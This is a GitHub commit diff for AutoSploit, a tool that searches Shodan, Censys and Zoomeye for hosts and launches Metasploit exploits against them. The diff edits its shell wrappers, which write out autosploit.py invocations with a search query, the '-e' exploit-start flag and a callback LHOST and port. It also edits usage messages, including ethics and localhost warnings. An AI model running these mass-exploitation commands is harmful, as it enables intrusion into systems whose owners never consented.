Skip to content

Commit 145611d

Browse files
author
ekultek
committed
some updates for everything, PEPing and bashing syntax
1 parent 41a938e commit 145611d

File tree

4 files changed

+28
-28
lines changed

4 files changed

+28
-28
lines changed

dryrun_autosploit.sh

Lines changed: 15 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,28 +1,29 @@
11
#!/usr/bin/env bash
22

33

4-
if [[ $# -lt 2 ]]; then
4+
if [[ $# -lt 1 ]]; then
55
echo "Syntax:"
6-
echo -e "\t./dryrun_autosploit.sh <whitelist.txt> <search_query>"
6+
echo -e "\t./dryrun_autosploit.sh <search_query> [whitelist]"
77
exit 1
88
fi
99

10-
WHITELIST=$1
11-
SEARCH_QUERY=$2
10+
echo -e "[!] Make sure you are not on your localhost while running this script, press enter to continue";
11+
read
12+
13+
WHITELIST=$2
14+
SEARCH_QUERY=$1
1215
LPORT=4444
1316

1417
LHOST=`dig +short @resolver1.opendns.com myip.opendns.com`
1518
TIMESTAMP=`date +%s`
1619

1720

18-
echo "python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite \
19-
--whitelist $WHITELIST -e \
20-
-C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT \
21-
--exploit-file-to-use etc/json/default_modules.json \
22-
--dry-run"
21+
if [ ! $WHITELIST ]; then
22+
echo "python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run"
23+
24+
python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run
25+
else
26+
echo "python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite --whitelist $WHITELIST -e -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run"
2327

24-
python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite \
25-
--whitelist $WHITELIST -e \
26-
-C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT \
27-
--exploit-file-to-use etc/json/default_modules.json \
28-
--dry-run
28+
python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run
29+
fi;

lib/cmdline/cmd.py

Lines changed: 10 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ def optparser():
2626

2727
parser = argparse.ArgumentParser(
2828
usage="python autosploit.py -[c|z|s|a] -[q] QUERY\n"
29-
"{spacer}[-C] WORKSPACE LHOST LPORT [-e]\n"
29+
"{spacer}[-C] WORKSPACE LHOST LPORT [-e] [--whitelist]\n"
3030
"{spacer}[--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH\n"
3131
"{spacer}[--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT".format(
3232
spacer=" " * 28
@@ -89,10 +89,10 @@ def parse_provided(opt):
8989
parser = any([opt.searchAll, opt.searchZoomeye, opt.searchCensys, opt.searchShodan])
9090

9191
if opt.rubyExecutableNeeded and opt.pathToFramework is None:
92-
lib.settings.close("if the Ruby exec is needed, so is that path to metasploit, pass the `--msf-path` switch")
92+
lib.settings.close("if the Ruby exec is needed, so is the path to metasploit, pass the `--msf-path` switch")
9393
if opt.pathToFramework is not None and not opt.rubyExecutableNeeded:
9494
lib.settings.close(
95-
"if you need the metasploit path, you also need the executable. pass the `--ruby-exec` switch"
95+
"if you need the metasploit path, you also need the ruby executable. pass the `--ruby-exec` switch"
9696
)
9797
if opt.personalAgent is not None and opt.randomAgent:
9898
lib.settings.close("you cannot use both a personal agent and a random agent, choose only one")
@@ -106,7 +106,9 @@ def parse_provided(opt):
106106
if opt.startExploit and opt.msfConfig is None:
107107
lib.settings.close(
108108
"you must provide the configuration for metasploit in order to start the exploits "
109-
"do so by passing the `-C\--config` switch IE -C default 127.0.0.1 8080"
109+
"do so by passing the `-C\--config` switch (IE -C default 127.0.0.1 8080). don't be "
110+
"an idiot and keep in mind that sending connections back to your localhost is "
111+
"probably not a good idea"
110112
)
111113
if not opt.startExploit and opt.msfConfig is not None:
112114
lib.settings.close(
@@ -133,7 +135,9 @@ def single_run_args(opt, keys, loaded_modules):
133135
ethics_file = "{}/etc/text_files/ethics.lst".format(os.getcwd())
134136
with open(ethics_file) as ethics:
135137
ethic = random.choice(ethics.readlines()).strip()
136-
lib.settings.close("Here we have an ethical lesson for you:\n\n{}".format(ethic))
138+
lib.settings.close(
139+
"You should take this ethical lesson into consideration "
140+
"before you continue with the use of this tool:\n\n{}\n".format(ethic))
137141
if opt.exploitList:
138142
try:
139143
lib.output.info("converting {} to JSON format".format(opt.exploitList))
@@ -154,8 +158,7 @@ def single_run_args(opt, keys, loaded_modules):
154158
elif opt.appendHosts:
155159
search_save_mode = "a"
156160

157-
# TODO[4]:// move the searches into their own class and call it from the static method if a search is needed
158-
# this is ugly and i wanna change it
161+
# changed my mind it's not to bad
159162
if opt.searchCensys:
160163
lib.output.info(single_search_msg.format("Censys"))
161164
api_searches[2](

lib/exploitation/exploiter.py

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -38,11 +38,6 @@ def __init__(self, configuration, all_modules, hosts=None, **kwargs):
3838
self.hosts = hosts
3939
self.configuration = configuration
4040
self.mods = all_modules
41-
# TODO[1]:// fix the relevant module sorting
42-
# there's a bug in the way the modules are sorted right here
43-
# it creates a temp file wit hthe query name, but if the terminal
44-
# is run multiple times, it will not recreate the file and instead
45-
# opens an empty
4641
self.query = kwargs.get("query", lib.settings.QUERY_FILE_PATH)
4742
self.query_file = open(self.query).read()
4843
self.single = kwargs.get("single", None)

run_autosploit.sh

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,15 @@
11
#!/bin/bash
22

33

4-
# TODO[6] this causes an AttributeError somewhere
5-
64
if [[ $# -lt 1 ]]; then
75
echo "Syntax:"
86
echo -e "\t./run_autosploit.sh PORT [WHITELIST]"
97
exit 1
108
fi
119

10+
echo -e "[!] Make sure you are not on your localhost while running this script, press enter to continue";
11+
read
12+
1213
WHITELIST=$2
1314
LPORT=$1
1415

0 commit comments

Comments
 (0)